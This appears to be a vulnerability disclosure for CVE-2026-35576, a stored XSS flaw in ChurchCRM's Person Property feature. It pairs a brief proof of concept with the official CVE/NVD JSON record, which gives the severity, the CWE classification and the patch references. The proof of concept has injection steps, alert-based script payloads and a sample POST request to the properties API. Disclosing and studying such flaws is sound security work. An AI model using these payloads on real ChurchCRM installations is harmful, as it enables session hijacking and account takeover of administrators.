CVE-2026-35576

<!-- PoC for CVE-2026-35576 --> <!-- Description: Inject a script via Person Property to trigger alert --> 1. Log in to ChurchCRM as a low-privileged user. 2. Navigate to a Person's profile. 3. Edit or Add a Person Property. 4. Inject the following payload into the property value field: <img src=x onerror=alert('CVE-2026-35576_XSS')> 5. Save the property. 6. Wait for an admin to view the person profile. // Alternatively, a simple HTTP request simulation: /* POST /api/persons/1/properties HTTP/1.1 Host: target-churchcrm.com Content-Type: application/json Authorization: Bearer <token> { "proId": "2", "PropertyValue": "<script>alert(document.cookie)</script>" } */

{"cve": {"id": "CVE-2026-35576", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:42.273", "lastModified": "2026-04-09T18:46:54.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.0.0, a stored cross-site scripting (XSS) vulnerability exists in ChurchCRM within the Person Property Management subsystem. This issue persists in versions patched for CVE-2023-38766 and allows an authenticated user to inject arbitrary JavaScript code via dynamically assigned person properties. The malicious payload is persistently stored and executed when other users view the affected person profile or access the printable view, potentially leading to session hijacking or full account compromise. This vulnerability is fixed in 7.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.0", "matchCriteriaId": "35301BC9-6C61-4AF8-BB9E-FEE2053BA73F"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/pull/8016", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-8r36-fvxj-26qv", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}